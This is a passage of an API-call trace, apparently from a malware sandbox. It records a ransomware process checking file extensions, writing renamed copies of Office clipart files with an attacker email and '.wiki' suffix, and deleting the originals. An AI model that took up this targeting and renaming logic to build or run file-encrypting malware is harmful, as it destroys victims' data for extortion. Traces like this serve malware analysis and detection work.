(lpString1=".xlsx", lpString2="2.WMF") returned -1 [0190.526] lstrlenW (lpString=".ppt") returned 4 [0190.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0190.526] lstrlenW (lpString=".zip") returned 4 [0190.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.526] lstrlenW (lpString=".rar") returned 4 [0190.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.527] lstrlenW (lpString=".bz2") returned 4 [0190.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.527] lstrlenW (lpString=".7z") returned 3 [0190.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0190.527] lstrlenW (lpString=".dbf") returned 4 [0190.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0190.527] lstrlenW (lpString=".1cd") returned 4 [0190.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0190.527] lstrlenW (lpString=".jpg") returned 4 [0190.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.527] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.527] lstrlenW (lpString="J0089992.WMF") returned 12 [0190.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.535] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=15680) returned 1 [0190.535] CloseHandle (hObject=0x1f4) returned 1 [0190.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 0x20 [0190.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.535] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.536] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.536] GetLastError () returned 0x0 [0190.536] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x3d40, lpOverlapped=0x0) returned 1 [0190.638] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3d50, lpOverlapped=0x0) returned 1 [0190.639] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.639] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.639] SetEndOfFile (hFile=0x1dc) returned 1 [0190.639] CloseHandle (hObject=0x1dc) returned 1 [0190.639] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.639] SetEndOfFile (hFile=0x1f4) returned 1 [0190.640] CloseHandle (hObject=0x1f4) returned 1 [0190.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0190.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0190.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0190.640] lstrlenW (lpString=".doc") returned 4 [0190.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.640] lstrlenW (lpString=".docx") returned 5 [0190.640] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0190.640] lstrlenW (lpString=".pdf") returned 4 [0190.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.640] lstrlenW (lpString=".xls") returned 4 [0190.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.641] lstrlenW (lpString=".xlsx") returned 5 [0190.641] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0190.641] lstrlenW (lpString=".ppt") returned 4 [0190.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0190.641] lstrlenW (lpString=".zip") returned 4 [0190.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.641] lstrlenW (lpString=".rar") returned 4 [0190.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.641] lstrlenW (lpString=".bz2") returned 4 [0190.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.641] lstrlenW (lpString=".7z") returned 3 [0190.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0190.641] lstrlenW (lpString=".dbf") returned 4 [0190.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0190.641] lstrlenW (lpString=".1cd") returned 4 [0190.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0190.641] lstrlenW (lpString=".jpg") returned 4 [0190.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0190.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0190.641] lstrlenW (lpString=".doc") returned 4 [0190.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.641] lstrlenW (lpString=".docx") returned 5 [0190.641] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0190.641] lstrlenW (lpString=".pdf") returned 4 [0190.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.641] lstrlenW (lpString=".xls") returned 4 [0190.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.642] lstrlenW (lpString=".xlsx") returned 5 [0190.642] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0190.642] lstrlenW (lpString=".ppt") returned 4 [0190.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0190.642] lstrlenW (lpString=".zip") returned 4 [0190.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.642] lstrlenW (lpString=".rar") returned 4 [0190.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.642] lstrlenW (lpString=".bz2") returned 4 [0190.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.642] lstrlenW (lpString=".7z") returned 3 [0190.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0190.642] lstrlenW (lpString=".dbf") returned 4 [0190.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0190.642] lstrlenW (lpString=".1cd") returned 4 [0190.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0190.642] lstrlenW (lpString=".jpg") returned 4 [0190.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.642] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.642] lstrlenW (lpString="J0090779.WMF") returned 12 [0190.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.643] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1456) returned 1 [0190.643] CloseHandle (hObject=0x1f4) returned 1 [0190.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 0x20 [0190.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.643] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.643] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.644] GetLastError () returned 0x0 [0190.644] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x5b0, lpOverlapped=0x0) returned 1 [0190.673] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0190.674] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.674] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.674] SetEndOfFile (hFile=0x1dc) returned 1 [0190.674] CloseHandle (hObject=0x1dc) returned 1 [0190.674] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.674] SetEndOfFile (hFile=0x1f4) returned 1 [0190.675] CloseHandle (hObject=0x1f4) returned 1 [0190.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0190.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0190.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0190.675] lstrlenW (lpString=".doc") returned 4 [0190.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.675] lstrlenW (lpString=".docx") returned 5 [0190.675] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0190.675] lstrlenW (lpString=".pdf") returned 4 [0190.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.675] lstrlenW (lpString=".xls") returned 4 [0190.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.675] lstrlenW (lpString=".xlsx") returned 5 [0190.676] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0190.676] lstrlenW (lpString=".ppt") returned 4 [0190.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0190.676] lstrlenW (lpString=".zip") returned 4 [0190.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.676] lstrlenW (lpString=".rar") returned 4 [0190.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.676] lstrlenW (lpString=".bz2") returned 4 [0190.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.676] lstrlenW (lpString=".7z") returned 3 [0190.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0190.676] lstrlenW (lpString=".dbf") returned 4 [0190.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0190.676] lstrlenW (lpString=".1cd") returned 4 [0190.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0190.676] lstrlenW (lpString=".jpg") returned 4 [0190.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0190.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0190.677] lstrlenW (lpString=".doc") returned 4 [0190.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.677] lstrlenW (lpString=".docx") returned 5 [0190.677] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0190.677] lstrlenW (lpString=".pdf") returned 4 [0190.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.677] lstrlenW (lpString=".xls") returned 4 [0190.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.677] lstrlenW (lpString=".xlsx") returned 5 [0190.677] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0190.677] lstrlenW (lpString=".ppt") returned 4 [0190.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0190.677] lstrlenW (lpString=".zip") returned 4 [0190.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.677] lstrlenW (lpString=".rar") returned 4 [0190.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.677] lstrlenW (lpString=".bz2") returned 4 [0190.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.677] lstrlenW (lpString=".7z") returned 3 [0190.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0190.677] lstrlenW (lpString=".dbf") returned 4 [0190.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0190.677] lstrlenW (lpString=".1cd") returned 4 [0190.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0190.677] lstrlenW (lpString=".jpg") returned 4 [0190.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.678] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.678] lstrlenW (lpString="J0098497.WMF") returned 12 [0190.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.678] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4970) returned 1 [0190.678] CloseHandle (hObject=0x1f4) returned 1 [0190.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf")) returned 0x20 [0190.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.679] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.679] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.679] GetLastError () returned 0x0 [0190.679] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x136a, lpOverlapped=0x0) returned 1 [0190.697] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0190.698] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.698] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.698] SetEndOfFile (hFile=0x1dc) returned 1 [0190.698] CloseHandle (hObject=0x1dc) returned 1 [0190.698] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.698] SetEndOfFile (hFile=0x1f4) returned 1 [0190.699] CloseHandle (hObject=0x1f4) returned 1 [0190.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0190.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0190.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0190.699] lstrlenW (lpString=".doc") returned 4 [0190.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.699] lstrlenW (lpString=".docx") returned 5 [0190.699] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0190.699] lstrlenW (lpString=".pdf") returned 4 [0190.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.699] lstrlenW (lpString=".xls") returned 4 [0190.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.699] lstrlenW (lpString=".xlsx") returned 5 [0190.699] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0190.700] lstrlenW (lpString=".ppt") returned 4 [0190.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0190.700] lstrlenW (lpString=".zip") returned 4 [0190.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.700] lstrlenW (lpString=".rar") returned 4 [0190.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.700] lstrlenW (lpString=".bz2") returned 4 [0190.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.700] lstrlenW (lpString=".7z") returned 3 [0190.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0190.700] lstrlenW (lpString=".dbf") returned 4 [0190.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0190.700] lstrlenW (lpString=".1cd") returned 4 [0190.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0190.700] lstrlenW (lpString=".jpg") returned 4 [0190.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0190.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0190.700] lstrlenW (lpString=".doc") returned 4 [0190.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.700] lstrlenW (lpString=".docx") returned 5 [0190.700] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0190.700] lstrlenW (lpString=".pdf") returned 4 [0190.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.700] lstrlenW (lpString=".xls") returned 4 [0190.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.700] lstrlenW (lpString=".xlsx") returned 5 [0190.700] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0190.701] lstrlenW (lpString=".ppt") returned 4 [0190.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0190.701] lstrlenW (lpString=".zip") returned 4 [0190.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.701] lstrlenW (lpString=".rar") returned 4 [0190.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.701] lstrlenW (lpString=".bz2") returned 4 [0190.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.701] lstrlenW (lpString=".7z") returned 3 [0190.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.701] lstrlenW 